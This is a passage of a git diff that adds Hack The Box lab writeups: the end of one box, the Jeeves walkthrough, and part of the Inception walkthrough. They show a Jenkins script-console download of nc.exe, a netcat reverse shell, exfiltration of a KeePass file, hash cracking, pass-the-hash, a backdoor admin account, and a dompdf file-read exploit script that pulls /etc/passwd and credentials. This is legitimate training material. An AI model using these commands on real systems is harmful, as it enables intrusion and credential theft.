to 10.10.10.61 on port 32812: Done + [*] Switching to interactive mode + + $ id + uid=0(root) gid=0(root) groups=0(root) + $ cat /root/root.txt + cfXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/14_graph.png) + diff --git a/Medium/15.md b/Medium/15.md new file mode 100644 index 0000000..c222927 --- /dev/null +++ b/Medium/15.md @@ -0,0 +1,390 @@ +# Jeeves Writeup + +![](img/15.png) + +## Introduction : + +Jeeves is a medium windows box that was released back in November 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.11/23 ] [~] + → nmap -F 10.10.10.63 --top-ports 10000 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-07 11:01 GMT + Nmap scan report for 10.10.10.63 + Host is up (0.10s latency). + Not shown: 8316 filtered ports + PORT STATE SERVICE + 80/tcp open http + 135/tcp open msrpc + 445/tcp open microsoft-ds + 50000/tcp open ibm-db2 + + Nmap done: 1 IP address (1 host up) scanned in 27.37 seconds + + λ nihilist [ 10.10.14.11/23 ] [~] + → nmap -sCV -p80,135,445,50000 10.10.10.63 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-07 11:01 GMT + Nmap scan report for 10.10.10.63 + Host is up (0.11s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Microsoft IIS httpd 10.0 + | http-methods: + |_ Potentially risky methods: TRACE + |_http-server-header: Microsoft-IIS/10.0 + |_http-title: Ask Jeeves + 135/tcp open msrpc Microsoft Windows RPC + 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) + 50000/tcp open http Jetty 9.4.z-SNAPSHOT + |_http-server-header: Jetty(9.4.z-SNAPSHOT) + |_http-title: Error 404 Not Found + Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: mean: 4h01m38s, deviation: 0s, median: 4h01m37s + |_smb-os-discovery: ERROR: Script execution failed (use -d to debug) + | smb-security-mode: + | account_used: guest + | authentication_level: user + | challenge_response: supported + |_ message_signing: disabled (dangerous, but default) + | smb2-security-mode: + | 2.02: + |_ Message signing enabled but not required + | smb2-time: + | date: 2020-03-07T15:03:42 + |_ start_date: 2020-03-06T19:38:44 + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 48.29 seconds + + + +## **Part 2 : Getting User Access** + +our nmap scan picked up port 80 and 50000 running the http service so let's examine it with gobuster : + +![](prg/15_001.png) ![](prg/15_002.png) + + + + λ nihilist [ 10.10.14.11/23 ] [~] + → gobuster dir -u http://10.10.10.63/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + + + λ nihilist [ 10.10.14.11/23 ] [~] + → gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://10.10.10.63:50000/ + [+] Threads: 50 + [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + [+] Status codes: 200,204,301,302,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Timeout: 10s + =============================================================== + 2020/03/07 11:09:18 Starting gobuster + =============================================================== + /askjeeves (Status: 302) + =============================================================== + 2020/03/07 11:18:07 Finished + =============================================================== + + +Gobuster didn't find many interesting apart from /askjeeves on port 50000 so let's check it out : + +![](prg/15_003.png) + +Looking into script console we are able to get command execution : + +![](prg/15_004.png) + +so let's try to upload a windows binary onto the machine using command execution and python's SimpleHTTPServer module : + + + λ nihilist [ 10.10.14.11/23 ] [~] + → cd /usr/share/windows-binaries + + λ nihilist [ 10.10.14.11/23 ] [/usr/share/windows-binaries] + → ls + enumplus fgdump klogger.exe nbtenum plink.exe vncviewer.exe whoami.exe + exe2bat.exe fport mbenum nc.exe radmin.exe wget.exe + + λ nihilist [ 10.10.14.11/23 ] [/usr/share/windows-binaries] + → python -m SimpleHTTPServer 8080 + Serving HTTP on 0.0.0.0 port 8080 ... + + +On jenkins's script console run the following : + + + def process = "powershell -command Invoke-WebRequest 'http://10.10.14.11:8080/nc.exe' -OutFile nc.exe".execute(); + println("${process.text}"); + + +Once the netcat binary is on the box, we use it to get ourselves a reverse shell : + + + λ nihilist [ 10.10.14.11/23 ] [~] + → nc -lvnp 9001 + + + + def process = "powershell -command ./nc.exe 10.10.14.11 9001 -e cmd.exe".execute(); + println("${process.text}"); + + +` ![](prg/15_005.png) + +And we get a reverse shell ! now let's see what we can do from here : + + + λ nihilist [ 10.10.14.11/23 ] [~] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.63] 49688 + Microsoft Windows [Version 10.0.10586] + (c) 2015 Microsoft Corporation. All rights reserved. + + C:\Users\Administrator\.jenkins>whoami + whoami + jeeves\kohsuke + + C:\Users\Administrator\.jenkins>cd .. + cd .. + Access is denied. + + +Even though our reverse shell spawned us inside the administrator directory, we need to head over to our kohsuke directory + + + C:\Users\Administrator\.jenkins>cd C:\Users\kohsuke + cd C:\Users\kohsuke + + C:\Users\kohsuke>dir + dir + Volume in drive C has no label. + Volume Serial Number is BE50-B1C9 + + Directory of C:\Users\kohsuke + + 03/06/2020 11:44 PM <****DIR> . + 03/06/2020 11:44 PM <****DIR> .. + 11/03/2017 09:51 PM <****DIR> .groovy + 11/03/2017 10:15 PM <****DIR> Contacts + 11/03/2017 10:19 PM <****DIR> Desktop + 11/03/2017 10:18 PM <****DIR> Documents + 11/03/2017 10:15 PM <****DIR> Downloads + 03/04/2020 06:17 PM 1,230,604 epp + 11/03/2017 10:15 PM <****DIR> Favorites + 11/03/2017 10:22 PM <****DIR> Links + 03/06/2020 06:33 PM 136,192 ms16-032.exe + 11/03/2017 10:15 PM <****DIR> Music + 11/03/2017 10:22 PM <****DIR> OneDrive + 11/04/2017 02:10 AM <****DIR> Pictures + 11/03/2017 10:15 PM <****DIR> Saved Games + 11/03/2017 10:16 PM <****DIR> Searches + 11/03/2017 10:15 PM <****DIR> Videos + 2 File(s) 1,366,796 bytes + 15 Dir(s) 7,481,786,368 bytes free + +Once inside the documents folder, we see a kdbx password database, so let's send it over to our local machine: + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Jeeves] + → nc -lvnp 9002 > CEH.kdbx + listening on [any] 9002 ... + + + + C:\Users\kohsuke\Documents>C:\Users\Administrator\.jenkins\nc.exe 10.10.14.11 9002 < CEH.kdbx + + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Jeeves] + → nc -lvnp 9002 > CEH.kdbx + listening on [any] 9002 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.63] 49689 + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Jeeves] + → file CEH.kdbx + CEH.kdbx: Keepass password database 2.x KDBX + + +Now obviously we need to find the master password , to do so we can use keepass2john and rockyou.txt + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Jeeves] + → keepass2john CEH.kdbx + CEH:$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b73766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48 + + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Jeeves] + → keepass2john CEH.kdbx > hash.txt + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Jeeves] + → john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt + Using default input encoding: UTF-8 + + +And we get the password moonshine1 , so let's use keepass to open it and see what the keepass database contains : + +![](prg/15_006.png) ![](prg/15_007.png) + +so we'll use pth-winexe to get a shell connection to the machine using the hashed password we found : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Jeeves] + → nano backup.pass + + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Jeeves] + → pth-winexe --user=jeeves/administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 --system //10.10.10.63 cmd.exe + E_md4hash wrapper called. + HASH PASS: Substituting user supplied NTLM HASH... + Microsoft Windows [Version 10.0.10586] + (c) 2015 Microsoft Corporation. All rights reserved. + + C:\Windows\system32>whoami + whoami + nt authority\system + + +And here we see that we are logged in as nt authority\system + + + + C:\Windows\system32>systeminfo + systeminfo + + Host Name: JEEVES + OS Name: Microsoft Windows 10 Pro + OS Version: 10.0.10586 N/A Build 10586 + OS Manufacturer: Microsoft Corporation + OS Configuration: Standalone Workstation + OS Build Type: Multiprocessor Free + Registered Owner: Windows User + Registered Organization: + Product ID: 00331-20304-47406-AA297 + Original Install Date: 10/25/2017, 4:45:33 PM + System Boot Time: 3/6/2020, 2:38:22 PM + System Manufacturer: VMware, Inc. + System Model: VMware7,1 + System Type: x64-based PC + Processor(s): 1 Processor(s) Installed. + [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz + BIOS Version: VMware, Inc. VMW71.00V.13989454.B64.1906190538, 6/19/2019 + Windows Directory: C:\Windows + System Directory: C:\Windows\system32 + Boot Device: \Device\HarddiskVolume1 + System Locale: en-us;English (United States) + Input Locale: en-us;English (United States) + Time Zone: (UTC-05:00) Eastern Time (US & Canada) + Total Physical Memory: 2,047 MB + Available Physical Memory: 1,030 MB + Virtual Memory: Max Size: 2,687 MB + Virtual Memory: Available: 1,580 MB + Virtual Memory: In Use: 1,107 MB + Page File Location(s): C:\pagefile.sys + Domain: WORKGROUP + Logon Server: N/A + Hotfix(s): 10 Hotfix(s) Installed. + [01]: KB3150513 + [02]: KB3161102 + [03]: KB3172729 + [04]: KB3173428 + [05]: KB4021702 + [06]: KB4022633 + [07]: KB4033631 + [08]: KB4035632 + [09]: KB4051613 + [10]: KB4041689 + Network Card(s): 1 NIC(s) Installed. + [01]: Intel(R) 82574L Gigabit Network Connection + Connection Name: Ethernet0 + DHCP Enabled: No + IP address(es) + [01]: 10.10.10.63 + Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed. + + + +Looking at systeminfo we see that we have a hotfixes are installed, so let's try and see if we can somehow vnc into the box, but first we need to first set up the vnc connection. + + + C:\Windows\system32>net user /add nihilist jeeved + net user /add nihilist jeeved + The command completed successfully. + + C:\Windows\system32>net localgroup administrators nihilist /add + + C:\Windows\system32>reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 + reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 + The operation completed successfully. + + C:\Windows\system32>netsh firewall set service remoteadmin enable + netsh firewall set service remoteadmin enable + + IMPORTANT: Command executed successfully. + However, "netsh firewall" is deprecated; + use "netsh advfirewall firewall" instead. + For more information on using "netsh advfirewall firewall" commands + instead of "netsh firewall", see KB article 947709 + at http://go.microsoft.com/fwlink/?linkid=121488 . + + Ok. + + + C:\Windows\system32>netsh firewall set service remotedesktop enable + netsh firewall set service remotedesktop enable + + IMPORTANT: Command executed successfully. + However, "netsh firewall" is deprecated; + use "netsh advfirewall firewall" instead. + For more information on using "netsh advfirewall firewall" commands + instead of "netsh firewall", see KB article 947709 + at http://go.microsoft.com/fwlink/?linkid=121488 . + + Ok. + + + +Here we created the user nihilist, added him to the administrator localgroup, started the rdp service, allowed RDP connections for the firewall, from there we just need to use rdesktop to connect to the account we created. + + + λ nihilist [ 10.10.14.11/23 ] [~] + → rdesktop 10.10.10.63 + + +` ![](prg/15_008.png) ![](prg/15_009.png) + +Once we're connected, we head over to kohsuke's desktop to copy the user flag on our desktop, to be able to print it : + +![](prg/15_012.png) + +## **Part 3 : Getting Root Access** + +However, we can do the same thing to the user account ! Going in the administrator desktop and copying the only textfile on our desktop allows us to be able to read it, and we see that it's not our root flag YET, so we'll follow the advice the textfile gave us : + +![](prg/15_010.png) ![](prg/15_011.png) + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/15_graph.png) + diff --git a/Medium/16.md b/Medium/16.md new file mode 100644 index 0000000..5466a00 --- /dev/null +++ b/Medium/16.md @@ -0,0 +1,803 @@ +# Inception Writeup + +![](img/16.png) + +## Introduction : + +Inception is a Medium Linux box released back in December 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.11/23 ] [~] + → nmap -F --top-ports 10000 10.10.10.67 -v + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 07:55 GMT + Initiating Ping Scan at 07:55 + Scanning 10.10.10.67 [2 ports] + Completed Ping Scan at 07:55, 0.09s elapsed (1 total hosts) + Initiating Parallel DNS resolution of 1 host. at 07:55 + Completed Parallel DNS resolution of 1 host. at 07:55, 0.03s elapsed + Initiating Connect Scan at 07:55 + Scanning 10.10.10.67 [8320 ports] + Discovered open port 80/tcp on 10.10.10.67 + Discovered open port 3128/tcp on 10.10.10.67 + Completed Connect Scan at 07:56, 26.46s elapsed (8320 total ports) + Nmap scan report for 10.10.10.67 + Host is up (0.091s latency). + Not shown: 8318 filtered ports + PORT STATE SERVICE + 80/tcp open http + 3128/tcp open squid-http + + Read data files from: /usr/bin/../share/nmap + Nmap done: 1 IP address (1 host up) scanned in 26.68 seconds + + λ nihilist [ 10.10.14.11/23 ] [~] + → nmap -sCV -p80,3128 10.10.10.67 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 07:56 GMT + Nmap scan report for 10.10.10.67 + Host is up (0.094s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Inception + 3128/tcp open http-proxy Squid http proxy 3.5.12 + |_http-server-header: squid/3.5.12 + |_http-title: ERROR: The requested URL could not be retrieved + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 43.23 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 running http so let's use gobuster to enumerate it : + + + λ nihilist [ 10.10.14.11/23 ] [~] + → gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.67 + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://10.10.10.67 + [+] Threads: 10 + [+] Wordlist: /usr/share/wordlists/dirb/big.txt + [+] Status codes: 200,204,301,302,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Timeout: 10s + =============================================================== + 2020/03/08 07:56:11 Starting gobuster + =============================================================== + /.htaccess (Status: 403) + /.htpasswd (Status: 403) + /assets (Status: 301) + /dompdf (Status: 301) + /images (Status: 301) + Progress: 10069 / 20470 (49.19%)^C + + +` ![](prg/16_001.png) + + + λ nihilist [ 10.10.14.11/23 ] [~] + → curl -sk http://10.10.10.67/dompdf/VERSION + 0.6.0 + + +Now that we know about dompdf's version we run a quick searchsploit command to find publicly available exploits for us : + + + λ nihilist [ 10.10.14.11/23 ] [~] + → searchsploit dompdf 0.6 + ------------------------------------------------------- ------------------------------ + Exploit Title | Path + | (/usr/share/exploitdb/) + ------------------------------------------------------- ------------------------------ + dompdf 0.6.0 - 'dompdf.php?read' Arbitrary File Read | exploits/php/webapps/33004.txt + dompdf 0.6.0 beta1 - Remote File Inclusion | exploits/php/webapps/14851.txt + ------------------------------------------------------- ------------------------------ + Shellcodes: No Result + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception] + → locate 33004.txt + /usr/share/exploitdb/exploits/php/webapps/33004.txt + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception] + → cp /usr/share/exploitdb/exploits/php/webapps/33004.txt . + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception] + → nano 33004.txt + + +Looking at the exploit we seem to be able to get arbitrary file read on the dompdf.php file using a psecific string : + + + http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd + + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception] + → curl http://10.10.10.67/dompdf/dompdf.php\?input_file\=php://filter/read\=convert.base64-encode/resource\=/etc/passwd + %PDF-1.3 + 1 0 obj + << /Type /Catalog + /Outlines 2 0 R + /Pages 3 0 R >> + endobj + 2 0 obj + << /Type /Outlines /Count 0 >> + endobj + 3 0 obj + << /Type /Pages + /Kids [6 0 R + ] + /Count 1 + /Resources << + /ProcSet 4 0 R + /Font << + /F1 8 0 R + >> + >> + /MediaBox [0.000 0.000 612.000 792.000] + >> + endobj + 4 0 obj + [/PDF /Text ] + endobj + 5 0 obj + << + /Creator (DOMPDF) + /CreationDate (D:20200308071455+00'00') + /ModDate (D:20200308071455+00'00') + >> + endobj + 6 0 obj + << /Type /Page + /Parent 3 0 R + /Contents 7 0 R + >> + endobj + 7 0 obj + << + /Length 1894 >> + stream + + 0.000 0.000 0.000 rg + BT 34.016 734.579 Td /F1 12.0 Tf [(cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtdGltZXN5bmM6eDoxMDA6MTAyOnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb24sLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzdGVtZC1uZXR3b3JrOng6MTAxOjEwMzpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQvbmV0aWY6L2Jpbi9mYWxzZQpzeXN0ZW1kLXJlc29sdmU6eDoxMDI6MTA0OnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kL3Jlc29sdmU6L2Jpbi9mYWxzZQpzeXN0ZW1kLWJ1cy1wcm94eTp4OjEwMzoxMDU6c3lzdGVtZCBCdXMgUHJveHksLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzbG9nOng6MTA0OjEwODo6L2hvbWUvc3lzbG9nOi9iaW4vZmFsc2UKX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UKc3NoZDp4OjEwNjo2NTUzNDo6L3Zhci9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpjb2JiOng6MTAwMDoxMDAwOjovaG9tZS9jb2JiOi9iaW4vYmFzaAo=)] TJ ET + endstream + endobj + 8 0 obj + << /Type /Font + /Subtype /Type1 + /Name /F1 + /BaseFont /Times-Roman + /Encoding /WinAnsiEncoding + >> + endobj + xref + 0 9 + 0000000000 65535 f + 0000000008 00000 n + 0000000073 00000 n + 0000000119 00000 n + 0000000273 00000 n + 0000000302 00000 n + 0000000416 00000 n + 0000000479 00000 n + 0000002425 00000 n + trailer + << + /Size 9 + /Root 1 0 R + /Info 5 0 R + >> + startxref + 2535 + %%EOF + + + +Decoding the base64 string using **echo 'b64string' | base64 -d** we get the contents of /etc/passwd: + + + root:x:0:0:root:/root:/bin/bash + daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin + bin:x:2:2:bin:/bin:/usr/sbin/nologin + sys:x:3:3:sys:/dev:/usr/sbin/nologin + sync:x:4:65534:sync:/bin:/bin/sync + games:x:5:60:games:/usr/games:/usr/sbin/nologin + man:x:6:12:man:/var/cache/man:/usr/sbin/nologin + lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin + mail:x:8:8:mail:/var/mail:/usr/sbin/nologin + news:x:9:9:news:/var/spool/news:/usr/sbin/nologin + uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin + proxy:x:13:13:proxy:/bin:/usr/sbin/nologin + www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin + backup:x:34:34:backup:/var/backups:/usr/sbin/nologin + list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin + irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin + gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin + nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin + systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false + systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false + systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false + systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false + syslog:x:104:108::/home/syslog:/bin/false + _apt:x:105:65534::/nonexistent:/bin/false + sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin + cobb:x:1000:1000::/home/cobb:/bin/bash + + +As you can see, this can be long and tedious to trim the excessive amount of data to then decode a b64 string. so we'll use [absolobomb's](https://www.absolomb.com/2018-04-14-HackTheBox-Inception/) python script to speed it up : + + + #!/usr/bin/env python3 + import base64 + import urllib.request + import argparse + + parser = argparse.ArgumentParser() + parser.add_argument("file") + args = parser.parse_args() + + + url = 'http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=' + + try: + req = urllib.request.urlopen(url + args.file) + + output = req.read() + + if output: + string = output.decode() + result = string[string.find("[(")+2:string.find(")]")] + decoded = base64.b64decode(result).decode('utf8') + print(decoded) + + except urllib.error.HTTPError: + print("File cannot be downloaded") + + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception] + → nano absolobomb_rocks.py + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception] + → chmod +x absolobomb_rocks.py + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception] + → ./absolobomb_rocks.py /etc/passwd + root:x:0:0:root:/root:/bin/bash + daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin + bin:x:2:2:bin:/bin:/usr/sbin/nologin + sys:x:3:3:sys:/dev:/usr/sbin/nologin + sync:x:4:65534:sync:/bin:/bin/sync + games:x:5:60:games:/usr/games:/usr/sbin/nologin + man:x:6:12:man:/var/cache/man:/usr/sbin/nologin + lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin + mail:x:8:8:mail:/var/mail:/usr/sbin/nologin + news:x:9:9:news:/var/spool/news:/usr/sbin/nologin + uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin + proxy:x:13:13:proxy:/bin:/usr/sbin/nologin + www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin + backup:x:34:34:backup:/var/backups:/usr/sbin/nologin + list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin + irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin + gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin + nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin + systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false + systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false + systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false + systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false + syslog:x:104:108::/home/syslog:/bin/false + _apt:x:105:65534::/nonexistent:/bin/false + sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin + cobb:x:1000:1000::/home/cobb:/bin/bash + + + +Since we are on an apache2 website, let's try and print out it's default configuration: + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception] + → ./absolobomb_rocks.py /etc/apache2/sites-enabled/000-default.conf + <****VirtualHost *:80> + # The ServerName directive sets the request scheme, hostname and port that + # the server uses to identify itself. This is used when creating + # redirection URLs. In the context of virtual hosts, the ServerName + # specifies what hostname must appear in the request's Host: header to + # match this virtual host. For the default virtual host (this file) this + # value is not decisive as it is used as a last resort host regardless. + # However, you must set it for any further virtual host explicitly. + #ServerName www.example.com + + ServerAdmin webmaster@localhost + DocumentRoot /var/www/html + + # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, + # error, crit, alert, emerg. + # It is also possible to configure the loglevel for particular + # modules, e.g. + #LogLevel info ssl:warn + + ErrorLog ${APACHE_LOG_DIR}/error.log + CustomLog ${APACHE_LOG_DIR}/access.log combined + + # For most configuration files from conf-available/, which are + # enabled or disabled at a global level, it is possible to + # include a line for only one particular virtual host. For example the + # following line enables the CGI configuration for this host only + # after it has been globally disabled with "a2disconf". + #Include conf-available/serve-cgi-bin.conf + Alias /webdav_test_inception /var/www/html/webdav_test_inception <****Location /webdav_test_inception> + Options FollowSymLinks + DAV On + AuthType Basic + AuthName "webdav test credential" + AuthUserFile /var/www/html/webdav_test_inception/webdav.passwd + Require valid-user <****/Location> <****/VirtualHost> + + # vim: syntax=apache ts=4 sw=4 sts=4 sr noet + +From this configuration file we see a path to the webdav directory, so let's go and grab the passwd file : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception] + → ./absolobomb_rocks.py /var/www/html/webdav_test_inception/webdav.passwd + webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0 + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception] + → hash-identifier + ######################################################################### + # __ __ __ ______ _____ # + # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # + # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # + # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # + # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # + # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # + # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 # + # By Zion3R # + # www.Blackploit.com # + # Root@Blackploit.com # + ######################################################################### + -------------------------------------------------- + HASH: $apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0 + + Possible Hashs: + [+] MD5(APR) + + +According to Hash-Identifier the hash we found is MD5. + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception] + → ./absolobomb_rocks.py /var/www/html/webdav_test_inception/webdav.passwd > inception.txt + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception] + → hashcat -m 1600 -a 0 inception.txt /usr/share/wordlists/rockyou.txt + hashcat (v5.1.0) starting... + + Dictionary cache hit: + * Filename..: .\rockyou.txt + * Passwords.: 14343296 + * Bytes.....: 139921497 + * Keyspace..: 14343296 + + $apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0:babygurl69 + + +And using rockyou.txt we found the password **babygurl69**. For this next part we will upload [phpbash](https://github.com/Arrexel/phpbash) which is a semi-interactive webshell made by [Arrexel](https://app.hackthebox.eu/profile/2904) which we already encountered on a previous box named [Bashed](https://blog.nowhere.moe/htb/easy/15). We will upload it using the credentials we found with cadaver : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception] + → cadaver http://10.10.10.67/webdav_test_inception/ + 